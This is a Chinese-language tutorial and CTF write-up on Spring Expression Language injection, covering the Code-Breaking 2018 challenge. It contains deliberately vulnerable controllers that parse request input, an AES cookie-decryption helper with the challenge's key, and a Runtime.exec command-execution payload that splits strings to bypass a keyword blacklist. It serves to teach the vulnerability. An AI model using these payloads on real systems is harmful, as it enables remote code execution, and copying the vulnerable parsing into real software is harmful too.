一、內容簡介
Spring Expression Language(簡稱SpEL)是一種強大的表示式語言,支援在執行時查詢和操作物件圖。語言語法類似於Unified EL,但提供了額外的功能,特別是方法呼叫和基本的字串模板功能。同時因為SpEL是以API介面的形式建立的,所以允許將其整合到其他應用程式和框架中。類似於Struts2中的OGNL。
SpEL對錶達式語法解析過程進行了很高的抽象,抽象出解析器、表示式、解析上下文、估值(Evaluate)上下文等物件,非常優雅的表達瞭解析邏輯。主要的物件如下:
類名 | 說明 |
---|---|
ExpressionParser | 表示式解析器介面,包含了(Expression) parseExpression(String), (Expression) parseExpression(String, ParserContext)兩個介面方法 |
ParserContext | 解析器上下文介面,主要是對解析器Token的抽象類,包含3個方法:getExpressionPrefix,getExpressionSuffix和isTemplate,就是表示表示式從什麼符號開始什麼符號結束,是否是作為模板(包含字面量和表示式)解析。一般保持預設。 |
Expression | 表示式的抽象,是經過解析後的字串表示式的形式表示。通過expressionInstance.getValue方法,可以獲取表示式的值。也可以通過呼叫getValue(EvaluationContext),從評估(evaluation)上下文中獲取表示式對於當前上下文的值 |
EvaluationContext | 估值上下文介面,只有一個setter方法:setVariable(String, Object),通過呼叫該方法,可以為evaluation提供上下文變數 |
二、最基礎的觸發例子
普通表示式:
@GetMapping({"/test"})
@ResponseBody
public String test(@RequestParam("input") String input){
//建立表示式解析器
SpelExpressionParser parser = new SpelExpressionParser();
//解析表示式
Expression expression = parser.parseExpression(input);
//使用Expression.getValue()獲取表示式的值
return expression.getValue().toString();
}
注入點 input = 3*8
模板表示式:
@GetMapping({"/hello"})
@ResponseBody
public String test2(@RequestParam("input") String input){
// 模板表示式
String template = input;
// 建立模板解析器上下文
ParserContext parserContext = new TemplateParserContext();
// 建立表示式解析器
SpelExpressionParser parser = new SpelExpressionParser();
//解析表示式,如果表示式是一個模板表示式,需要為解析傳入模板解析器上下文。
Expression expression = parser.parseExpression(input,parserContext);
return expression.getValue().toString();
}
注入點: input=#{3*8}
三、Code-Breaking 2018
程式碼審計:原始碼
執行專案
後臺程式碼審計
UserConfig:使用者資訊
KeyworkProperties:配置黑名單,生成列表
Encryptor:Cookie欄位的加解密
重點:Controller
admin 方法,獲取 Cookie,解密Cookie的rememberMeValue欄位,賦值給 username 欄位,傳遞給 getAdvanceValue 方法。
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}
Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
進入getAdvanceValue 方法, 對傳入的 username欄位,首先通過黑名單進行過濾。之後再進行 SpEL解析。因為我們可控Cookie,所以可以造成 SpEL注入攻擊。
private String getAdvanceValue(String val) {
String[] var2 = this.keyworkProperties.getBlacklist();
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
String keyword = var2[var4];
Matcher matcher = Pattern.compile(keyword, 34).matcher(val);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}
ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(val, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}
利用思路:構造命令執行 payload --> 加密 --> 修改 Cookie --> 伺服器獲取 Cookie --> 解密 --> SpEL解析 --> 觸發執行 payload
先測試一下解密:
@Component
public class Madao {
public static String encrypt(String key, String initVector, String value) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(1, skeySpec, iv);
byte[] encrypted = cipher.doFinal(value.getBytes());
return Base64.getUrlEncoder().encodeToString(encrypted);
} catch (Exception var7) {
return null;
}
}
public static String decrypt(String key, String initVector, String encrypted) {
try {
IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
cipher.init(2, skeySpec, iv);
byte[] original = cipher.doFinal(Base64.getUrlDecoder().decode(encrypted));
return new String(original);
} catch (Exception var7) {
return null;
}
}
}
@SpringBootTest
class ReviewApplicationTests {
@Autowired
private Madao madao;
@Test
void contextLoads() {
System.out.println(madao.decrypt("c0dehack1nghere1", "0123456789abcdef", "MXPUSANQRVaBJYtUucUgmQ=="));
}
}
可以把 T(String) 看作 String.class
構造 payload :
#{T(String).forName(\"java.lang.Runtime\").getMethod(\"exec\",T(String)).invoke(T(String).forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(T(String).forName(\"java.lang.Runtime\")),\"calc\")}
拆分一下就看懂了:
String.class = T(String)
String.class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke( var1, "calc")
var1 = Runtime.getRuntime()
= String.class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(null)
拆分,繞過黑名單
keywords:
blacklist:
- java.+lang
- Runtime
- exec.*\(
#{T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"ex\"+\"ec\",T(String)).invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).forName(\"ja\"+\"va.lang.Run\"+\"time\")),\"calc\")}
加密:
修改Cookie: